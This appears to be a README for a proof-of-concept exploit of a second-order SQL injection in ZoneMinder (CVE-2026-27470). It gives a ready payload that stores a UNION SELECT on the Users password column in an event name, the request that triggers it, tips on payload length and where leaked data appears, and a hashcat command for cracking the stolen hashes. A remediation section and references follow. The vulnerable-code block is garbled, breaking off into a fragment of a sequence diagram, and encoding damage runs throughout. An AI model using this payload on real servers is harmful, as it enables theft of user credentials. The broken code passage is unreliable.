Share
## https://sploitus.com/exploit?id=4FAC6E64-F88D-589F-B5EC-220EFF74F27B
# CVE-2026-27470 โ€” ZoneMinder Second-Order SQL Injection

![CVE](https://img.shields.io/badge/CVE-2026--27470-red)
![CVSS](https://img.shields.io/badge/CVSS-8.8%20HIGH-orange)
![Affected](https://img.shields.io/badge/Affected-ZoneMinder%20%E2%89%A41.36.37%20%2F%201.37.61--1.38.0-blue)
![Fixed](https://img.shields.io/badge/Fixed-1.36.38%20%2F%201.38.1-green)

Proof-of-concept exploit for a **second-order SQL injection** vulnerability in ZoneMinder. An authenticated user with `Events` edit and view permissions can extract arbitrary data from the database โ€” including all user credentials.

---

## Overview

| Field | Details |
|---|---|
| **CVE ID** | CVE-2026-27470 |
| **Severity** | HIGH โ€” CVSS 8.8 |
| **Vector** | `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **Affected** | ZoneMinder โ‰ค 1.36.37 and 1.37.61 โ€“ 1.38.0 |
| **Fixed in** | 1.36.38 / 1.38.1 |
| **File** | `web/ajax/status.php` โ†’ `getNearEvents()` |
| **CWE** | CWE-89: Improper Neutralization of SQL Commands |
| **Auth Required** | Yes โ€” `Events` edit + view permission |

---

## Vulnerability Details

### The Second-Order Pattern

This is a textbook second-order (stored) SQL injection. The attack happens in two separate phases, which is why traditional scanners often miss it.

**Phase 1 โ€” Safe Write**

The attacker renames an event with a malicious payload. ZoneMinder correctly uses a parameterized query here, so the payload is stored safely in the database without triggering any errors:

```http
POST /index.php HTTP/1.1

request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
```

```php
// web/ajax/event.php โ€” safe โœ…
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
```

At this point everything looks clean. The payload is sitting quietly in the `Events.Name` column.

**Phase 2 โ€” Vulnerable Read**

The attacker triggers `getNearEvents()` by requesting the near events for the same event record. The function reads the stored `Name` value back from the database and **concatenates it directly into a new SQL query** without any escaping:

```http
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
```

```php
// web/ajax/status.php ~line 460 โ€” VULNERABLE โŒ
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);

$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
        INNER JOIN Monitors M ON E.MonitorId = M.Id
        WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\'  // โ† injection point
        AND (' . $filter->sql() . ') AND E.Id   โ”€โ”€โ”€โ”€โ”€โ”€โ–บ โ”‚                              โ”‚
   โ”‚                               โ”‚  UPDATE Events SET Name=?  โ”€โ”€โ–บโ”‚
   โ”‚                               โ”‚  (parameterized โ€” safe)      โ”‚
   โ”‚                               โ”‚โ—„โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”‚
   โ”‚                               โ”‚                              โ”‚
   โ”‚  GET /index.php               โ”‚                              โ”‚
   โ”‚  entity=nearevents    โ”€โ”€โ”€โ”€โ”€โ”€โ–บ โ”‚                              โ”‚
   โ”‚  sort_field=Name              โ”‚  SELECT * FROM Events WHERE  โ”‚
   โ”‚                               โ”‚  Id=?                      โ”€โ”€โ–บโ”‚
   โ”‚                               โ”‚โ—„โ”€โ”€ Name = '' โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”‚
   โ”‚                               โ”‚                              โ”‚
   โ”‚                               โ”‚  builds SQL string:          โ”‚
   โ”‚                               โ”‚  WHERE Name >= ''   โ”‚
   โ”‚                               โ”‚  (no escaping!)              โ”‚
   โ”‚                               โ”‚  UNION SELECT executes โ”€โ”€โ”€โ”€โ–บ โ”‚
   โ”‚                               โ”‚โ—„โ”€โ”€ credentials โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”‚
   โ”‚โ—„โ”€โ”€ JSON with leaked data โ”€โ”€โ”€โ”€โ”€โ”‚                              โ”‚
```

---

## Impact

- **Confidentiality:** Full database read โ€” all user hashes, API keys, monitor configurations, system settings
- **Integrity:** Depending on database driver configuration, stacked queries may allow data modification
- **Privilege Escalation:** Crack the admin bcrypt hash offline and gain full ZoneMinder access

```bash
# Crack harvested hashes with hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
```

---

## Notes

- `Events.Name` is `varchar(64)` in the database โ€” keep injection payloads under 63 characters
- The injection result appears in `nearevents.NextEventId` in the JSON response
- ZoneMinder uses bcrypt for password hashing (mode 3200 for hashcat)
- CSRF protection is handled automatically by the PoC

---

## Remediation

Update ZoneMinder to **1.36.38** or **1.38.1**.

The fix is to use a parameterized query placeholder for the stored value instead of string concatenation:

```php
// Before (vulnerable)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";

// After (fixed)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
```

---

## References

- [GitHub Security Advisory GHSA-r6gm-478g-f2c4](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-r6gm-478g-f2c4)
- [ZoneMinder 1.36.38 Release](https://github.com/ZoneMinder/zoneminder/releases/tag/1.36.38)
- [ZoneMinder 1.38.1 Release](https://github.com/ZoneMinder/zoneminder/releases/tag/1.38.1)

---

## Disclaimer

This tool is for **educational and authorized security research purposes only**.  
Do not use against systems you do not own or have explicit written permission to test.